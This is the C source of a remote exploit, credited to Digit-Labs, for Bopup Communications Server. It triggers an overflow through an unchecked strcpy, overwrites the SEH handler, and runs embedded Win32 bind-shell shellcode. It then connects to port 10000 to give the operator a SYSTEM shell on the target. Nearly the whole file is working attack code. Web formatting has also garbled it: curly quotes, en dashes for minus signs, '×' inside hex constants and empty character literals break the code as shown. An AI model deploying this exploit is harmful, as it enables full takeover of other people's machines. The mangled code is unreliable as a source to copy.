/* bopup-down.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* Bopup Communications Server remote SYSTEM exploit
* by mu-b – Sat Feb 08 2008
*
* – Tested on: Bopup Communications Server 3.2.26.5460 (Mar 18 2009)
*
* .text:00407A17 lea eax, [ebp+pkt_0x19]
* .text:00407A1D push eax
* .text:00407A1E lea eax, [ebp+var_354]
* .text:00407A24 push eax
* .text:00407A25 call _strcpy
*
* note: this is updated over time for newer versions, I can’t be bothered
* making it universal nor anything else…
*
* – Private Source Code -DO NOT DISTRIBUTE –
* http://www.digit-labs.org/ — Digit-Labs 2008!@$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#define BUF_SIZE 2048
#define BOPUP_STR_OFFSET 0×19
#define BOPUP_STR_LEN 0×348+8
#define BOPUP_POPRET 0x00401DD5
#define NOP 0×41
#define PAD 0xCC
#define DEF_PORT 19810
#define PORT_BOPUP DEF_PORT
#define PORT_SHELL 10000
static char win32_x86_bind[] =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
"\x66\x68\x27\x10\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
"\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";
static int
sock_send (int fd, char *src, int len)
{
int n;
if ((n = send (fd, src, len, 0)) < 0)
{
fprintf (stderr, "sock_send: send() – %s\n", strerror (errno));
exit (EXIT_FAILURE);
}
return (n);
}
static int
sock_recv (int fd, char *dst, int len)
{
int n;
if ((n = recv (fd, dst, len, 0)) < 0)
{
fprintf (stderr, "sock_recv: recv() – %s\n", strerror (errno));
exit (EXIT_FAILURE);
}
return (n);
}
static void
shellami (int fd)
{
int n;
fd_set rset;
char rbuf[1024];
while (1)
{
FD_ZERO (&rset);
FD_SET (fd, &rset);
FD_SET (STDIN_FILENO, &rset);
if (select (fd + 1, &rset, NULL, NULL, NULL) < 0)
{
fprintf (stderr, "shellami: select() – %s\n", strerror (errno));
exit (EXIT_FAILURE);
}
if (FD_ISSET (fd, &rset))
{
if ((n = sock_recv (fd, rbuf, sizeof (rbuf) – 1)) <= 0)
{
fprintf (stderr, "shellami: connection closed by foreign host.\n");
exit (EXIT_SUCCESS);
}
rbuf[n] = ”;
printf ("%s", rbuf);
fflush (stdout);
}
if (FD_ISSET (STDIN_FILENO, &rset))
{
if ((n = read (STDIN_FILENO, rbuf, sizeof (rbuf) – 1)) > 0)
{
rbuf[n] = ”;
sock_send (fd, rbuf, n);
}
}
}
}
static int
sockami (char *host, int port)
{
struct sockaddr_in address;
struct hostent *hp;
int fd;
if ((fd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
{
fprintf (stderr, "sockami: socket() – %s\n", strerror (errno));
exit (EXIT_FAILURE);
}
if ((hp = gethostbyname (host)) == NULL)
{
fprintf (stderr, "sockami: gethostbyname() – %s\n", strerror (errno));
exit (EXIT_FAILURE);
}
memset (&address, 0, sizeof (address));
memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
address.sin_family = AF_INET;
address.sin_port = htons (port);
if (connect (fd, (struct sockaddr *) &address, sizeof (address)) < 0)
{
fprintf (stderr, "sockami: connect() – %s\n", strerror (errno));
return (-1);
}
return (fd);
}
static void
zbuffami (char *zbuf)
{
char *ptr, *j_ptr;
ptr = zbuf;
memcpy (ptr, "\x01\x00\x00\x00", sizeof (int));
memset (ptr + sizeof (int), PAD, BOPUP_STR_OFFSET – sizeof (int));
memset (ptr + BOPUP_STR_OFFSET, NOP, BOPUP_STR_LEN);
ptr += BOPUP_STR_OFFSET + BOPUP_STR_LEN – 8;
j_ptr = ptr – 32;
memcpy (j_ptr – (sizeof (win32_x86_bind)) + 1, win32_x86_bind,
sizeof (win32_x86_bind) – 1);
*j_ptr++ = ‘\xe9′;
*j_ptr++ = (-(sizeof (win32_x86_bind) – 1 + 5) & 0x000000ff);
*j_ptr++ = (-(sizeof (win32_x86_bind) – 1 + 5) & 0x0000ff00) >> 8;
*j_ptr++ = (-(sizeof (win32_x86_bind) – 1 + 5) & 0x00ff0000) >> 16;
*j_ptr++ = (-(sizeof (win32_x86_bind) – 1 + 5) & 0xff000000) >> 24;
*ptr++ = ‘\xeb’;
*ptr++ = ‘\xde’;
*ptr++ = 0×90;
*ptr++ = 0×90;
*(unsigned int *) ptr = BOPUP_POPRET;
}
int
main (int argc, char **argv)
{
char zbuf[BUF_SIZE];
int fd, n;
printf ("Bopup Communications Server remote SYSTEM exploit\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ — Digit-Labs 2008!@$!\n\n");
if (argc <= 1)
{
fprintf (stderr, "Usage: %s <host>\n", argv[0]);
exit (EXIT_SUCCESS);
}
fd = sockami (argv[1], PORT_BOPUP);
if (fd == -1)
{
fprintf (stderr, "%s: sockami failed\n", argv[0]);
exit (EXIT_FAILURE);
}
printf ("* connected to %s:%d\n\n", argv[1], PORT_BOPUP);
printf ("** SEH offset @+%04X\n", BOPUP_STR_OFFSET + BOPUP_STR_LEN – 8);
printf ("** return addy @0x%08X\n\n", BOPUP_POPRET);
printf ("* building buffer with shellcode…");
zbuffami (zbuf);
printf ("done\n");
printf ("* sending request…");
if ((n = sock_send (fd, zbuf, BOPUP_STR_OFFSET + BOPUP_STR_LEN)) != BOPUP_STR_OFFSET + BOPUP_STR_LEN)
{
fprintf (stderr, "%s: sock_send returned %d (!= %d)\n",
argv[0], n, BOPUP_STR_OFFSET + BOPUP_STR_LEN);
exit (EXIT_FAILURE);
}
printf ("done\n");
close (fd);
printf ("* waiting for the shellcode to be executed…\n");
sleep (2);
if ((fd = sockami (argv[1], PORT_SHELL)) != -1)
{
printf ("+Wh00t!\n\n");
shellami (fd);
}
return (EXIT_SUCCESS);
}
